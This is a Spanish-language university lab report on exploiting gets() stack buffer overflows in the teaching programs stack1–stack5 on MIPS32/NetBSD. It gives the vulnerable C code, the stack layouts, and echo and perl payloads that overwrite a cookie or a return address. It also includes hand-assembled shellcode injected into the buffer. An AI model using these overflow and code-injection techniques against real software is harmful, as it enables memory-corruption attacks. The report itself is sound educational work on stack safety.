Trabajo práctico 1: Conjunto de instrucciones MIPS

Contini, Agustín - *Padrón 89180*
agscontini@gmail.com
Farina, Federico - *Padrón 90177*
federicojosefarina@gmail.com
Prystupiuk, Maximiliano - *Padrón 94853*
mprystupiuk@gmail.com

1er. Cuatrimestre de 2017

66.20 Organización de Computadoras
Facultad de Ingeniería, Universidad de Buenos Aires

June 17, 2017

Abstract

El trabajo consiste conseguir que un conjunto de programas cumplan con una condición, cuando normalmente no lo harían, aprovechando las vulnerabilidades del stack y de la función gets() teniendo un buffer de largo fijo y conocido. Para este cometido se utilizará gdb y objdump como herramientas sobre MIPS32 en un entorno NetBSD.

Contents

1 Introducción

1.1 Problemas de programación insegura

Los ejercicios a analizar fueron diseñados especialmente para la compresión del funcionamiento de los programas compilados en C por Gerardo Richarte y son de especial interés para la comprensión del stack y la explotación de sus vulnerabilidades.

El trabajo consiste en conseguir que los programas stack1.c a stack5.c cumplan una condición e impriman la frase "you win!" aprovechando que utilizan la función gets para llenar un buffer de largo fijo y conocido, utilizando gdb para examinar el stack y los valores de los registros y objdump para inspeccionar de manera sencilla las posiciones relativas al stack pointer.

2 Uso

2.1 Compilado

Se ofrecen dos formas de ejecutar las soluciones:

1. Correr el run.sh dentro del entorno de NetBSD, en el directorio del proyecto, ejecutando:

   ```
   $ ./run.sh
   ```

2. Dentro del entorno de NetBSD, en el directorio del proyecto ejecutar para cada archivo i:

   ```
   $ gcc -g stack{i}.c -o stack{i}.o
   Ejecutar individualmente con las entradas indicadas en cada inciso
   ```

2.2 Herramientas utilizadas

2.2.1 GDB

GDB (Gnu Project Debugger) es una herramienta que permite entre otras cosas, correr el programa con la posibilidad de detenerlo cuando se cumple cierta condición, avanzar paso a paso y, entre otras cosas, analizar el stack frame actual de cada uno de ellos. También permite, en caso de fallar el programa y habiendo sido ejecutado con la herramienta, conocer el estado de lo que ocurrió y produjo el fallo.

2.2.2 Objdump

Objdump es una herramienta que despliega información sobre uno o más archivos objeto de manera que permite ver el código assembly en ellos. Posee otras funcionalidades para inspeccionar información sobre archivos con código, pero nuestro uso se limito a ver el código assembler de los archivos.

3 Programas

3.1 Stack 1

```
1  #include <stdio.h>
2  int main() {
3      char buf[80];
4      int cookie=1;
5      printf("buf: %08x cookie: %08x\n", &buf, &cookie);
6      gets(buf);
7      printf ("cookie: %08x\n", cookie);
8      if (cookie == 0x41424344)
9          printf("you win!\n");
10 }
```

3.1.1 Descripción

Mediante gdb podemos ver que la disposición del stack frame para este programa es la siguiente

Figure 1: Gráfico del stack del programa stack1

Lo que nos dice que las posiciones del array del buffer siguen la disposición:

$$\forall x \in [0, n], \quad \&buff[x] = sp(24 + 4 * \left\lfloor \frac{x}{4} \right\rfloor)$$

3.1.2 Solución

Al crecer las posiciones del array hacia arriba en el stack lo único que debemos hacer es escribir el buffer en la posición x=80 para que la última word coincida con la posición de memoria de cookie, en la posición 104(sp), y luego hacer que corresponda con el hexadecimal 0x41424344 que es el codigo ascci correspondiente al texto ABCD. Una manera de comprobar

esto es ejecutar las siguientes lineas en una consola:

```
input = "00000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000DCBA"
echo $input | ./stack1.o
```

O con los caracteres en hexadecimal:

```
input = "00000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000\x44\x43\x42\x41"
echo -e $input | ./stack1.o
```

Lo que en ambos casos resultará en el output: "you win!"

3.2 Stack 2

```
#include <stdio.h>
int main() {
    char buf[80];
    int cookie;
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    printf("cookie: %08x\n", cookie);
    if (cookie == 0x01020305)
        printf("you win!\n");
}
```

3.2.1 Descripción

El stack será el mismo que el de la figura **(1)**. La diferencia en este programa es que no inicializamos con un valor a cookie, pero al tener que sobreescribirlo nos es indistinto.

3.2.2 Solución

En este caso el hexadecimal que queremos que esté en la posición sp(104) es el 0x01020305, por lo tanto una posible solución es:

```
input = "00000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000\x05\x03\x02\x01"
echo -e $input | ./stack2.o
```

Lo que resultará en el output: "you win!"

3.3 Stack 3

```
#include <stdio.h>
    int main() {
    char buf[80];
    int cookie;
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    printf("cookie: %08x\n", cookie);
    if (cookie == 0x01020005)
        printf("you win!\n");
}
```

3.3.1 Descripción

Al igual que en los casos anteriores, el stack será el mismo que el de la figura **(1)**.

3.3.2 Solución

El hexadecimal a escribir en esta caso es 0x01020005, de manera que una posible solución será:

```
input = "00000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000\x05\x00\x02\x01"
echo -e $input | ./stack3.o
```

Lo que resultará en el output: "you win!"

3.4 Stack 4

```
#include <stdio.h>
void stack4();

int main() {
    stack4();
    return 0;
}

void stack4(){
    char buf[80];
    int cookie;
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    printf("Cookie: %08x\n",cookie);
    if (cookie == 0x000d0a00)
        printf("you win!\n");
}
```

3.4.1 Descripción

Figure 2: Gráfico del stack del programa stack4

Este es el primer caso en el que tenemos dos stack frames, uno del **main** y otro que le corresponde a **stack4()**.

3.4.2 Solución

Este caso es diferente a los anteriores porque el hexadecimal que espera cookie contiene el caracter 0x0A, que corresponde a un **line feed**, y por lo tanto no es un input válido para el **gets** en la consola. La solución en este caso es escribir directamente el **ra** con la posición de memoria donde se encuentra el "you win".

Se puede ver tambien en el stack que ra se encuentra a 96 posiciones del inicio de buff0. Sabiendo esto y usando el **objdump** para obtener la posición de memoria correspondiente a la frase, una posible solución es:

```
1 perl -e 'print "a"x96 . "\x40\x0c\x40\x00"' | ./a.out
```

Lo que resultará en el output: "you win!"

3.5 Stack 5

```
1  #include <stdio.h>
2  void main(){
3      char buf[80];
4      int cookie;
5      printf("buf: %08x cookie: %08x\n", &buf, &cookie);
6      gets(buf);
7      printf("Cookie: %08x\n",cookie);
8      if (cookie == 0x000d0a00)
9          printf("you lose!\n");
10 }
```

3.5.1 Descripción

El stack será el mismo que el de la figura **(1)**. La diferencia en este programa es que no tenemos un mensaje "you win" al que saltar.

3.5.2 Solución

Al no tener una posición con el mensaje al que saltar hay que inyectar código en la entrada de lo ingresado en el gets() con las instrucciones a ejecutar, y llenar el buffer hasta sobreescribir el **ra** con la dirección de la primera instrucción ingresada en el buffer. Es decir pasar a ejecutar código agregado en la sección de datos en tiempo de ejecución mediante la entrada de dicho código por el gets().

Observamos las distintas cuestiones en el desarrollo del mismo:

1. Las direcciones de buff y cookie difieren en las distintas computadoras (comprobado con las computadoras de los integrantes del grupo). Como consecuencia el código a inyectar debe evaluarse caso por caso.
2. Las instrucciones deben ser en lenguaje ensamblador crudo, no hay una etapa de traducción de pseudoinstrucciones ni directivas sino que se "cede" el control del programa.
3. La posición a la que se salte debe ser múltipla de 4 ya que MIPS no permite accesos desalineados para la ejecución.

Con esto en mente nuestra primera aproximación fue la siguiente: Con la siguiente salida en la ejecución normal:

```
buf: 7fffd968 cookie: 7fffd9b8
```

Se vuelve a correr el programa de la forma:

```
echo -ne '000000000000\x5d\xf6\xff\x0b99999999999900000000000000000000000000
00000000000000000000000000000000000000000000\x74\xd9\xff\x7f' | ./stack5.out
```

Es decir, se salta a la posición 7fffd974 dónde se encuentra la instrucción:

```
j 0x7fffd974 = 0bfff65d
```

Que salta a sí misma, dejando al programa en un loop infinito. En este punto se hizo patente la diferencia de los stacks generados (en posición en memoria, en forma sí son iguales) en las distintas computadoras para los integrantes del grupo. Ya en que en los que generaba otras direcciones esta prueba generaba un segmentation fault.

El siguiente paso fue tratar de imprimir un mensaje en la consola con éste método de inyección:

```
addi $v0, $0, 4
addi $a0, $0, 1
addi $a1, $0, 0x7fff
sll $a1, $a1, 16
addi $a1, $0, 0xd99c
addi $a2, $0, 5
syscall
```

E ingresandola como input:

```
echo -ne '999999999999\x04\x00\x02\x20\x01\x00\x04\x20\xff\x7f\x05\x20\x00\x2c
\x05\x00\xaa\xd9\x05\x20\x05\x00\x06\x20\x0c\x00\x00\x00\x0c\x00\x00\x00\x36
\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36
\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\x36\xb8\xd9\xff
\x7fzzzyqqqqqqqq\x74\xd9\xff\x7f' | ./a.out
```

Sin embargo se produce un Bad system call que no pudimos solucionar.

4 Conclusiónes

Como se puede apreciar, tambien aclara en el enunciado y advierte gcc durante la compilación, utilizar gets() es inseguro y no recomendable ya que abre la vulnerabilidad de ingresar información externa directamente en el stack del programa, logrando incluso poner código ejecutable en el mismo, pudiendo lograr el control del flujo del programa.
Esta vulnerabilidad, y el uso de las herramientas gdb y objdump nos permitieron ver la manera de conocer el stack, ver donde estaba la información que necesitabamos y que era lo que debíamos inyectar para obtener el resultado que buscabamos.
En los primero tres casos, con identificar cual era la cookie que debía coincidir y completando esos pocos valores sobrepasando el buffer con la funcion gets(), nos bastó con un echo con pipe a la ejecución del programa.
En el cuarto caso nos valimos de perl para inyectar la información en el buffer, porque resulta menos tedioso para completar la información necesaria, además de ser un caso más general (si el buffer fuera n bytes el ingreso a mano no es rentable)
Cabe destacar que el uso de echo es necesario para los casos 2 en adelante, ya que deben ingresarse carácteres que normalmente no pueden mandarse desde el teclado.
En el caso stack2, podría haberse realizado la entrada mediante $[...]000\hat{}E\hat{}C\hat{}B\hat{}A$, siendo:

$\hat{}E : ctrl + shift + E$
$\hat{}C : ctrl + shift + C$
$\hat{}B : ctrl + shift + B$
$\hat{}A : ctrl + shift + A$

Pero el problema surge en $ctrl + shift + C$, ya que $ctrl + C$ produce la $SignalTrap$ 2, INT (que interrumpe la ejecución del programa).
Es por eso que se envían los caracteres desde echo con las opciones $-ne$ para interpretar las secuencias de escape y poder mandar los caracteres con su codificacion en HEX mediante xFF.
Stack 4 agrega la dificultad de necesitar mandar "0a", que es el LineFeed, y se almacena como 00 por estar mandando texto en una consola. Es por esto que en vez de modificar el valor de la cookie se modificó la dirección dónde se almacena ra (return andress) con la posición de memoria de la función que imprime el mensaje ganador.
En el caso final del Stack 5 si bien no pudimos conseguir imprimir el mensaje ganador, sí pudimos manipular el flujo del programa con instrucciones enviadas a través de gets(), y saltando a la primera de ellas poder ejecutarla, comprendiendo así las vulnerabilidades del stack smashing y afianzando conocimientos de la arquitectura MIPS, la ABI y la organización del stack en esta arquitectura.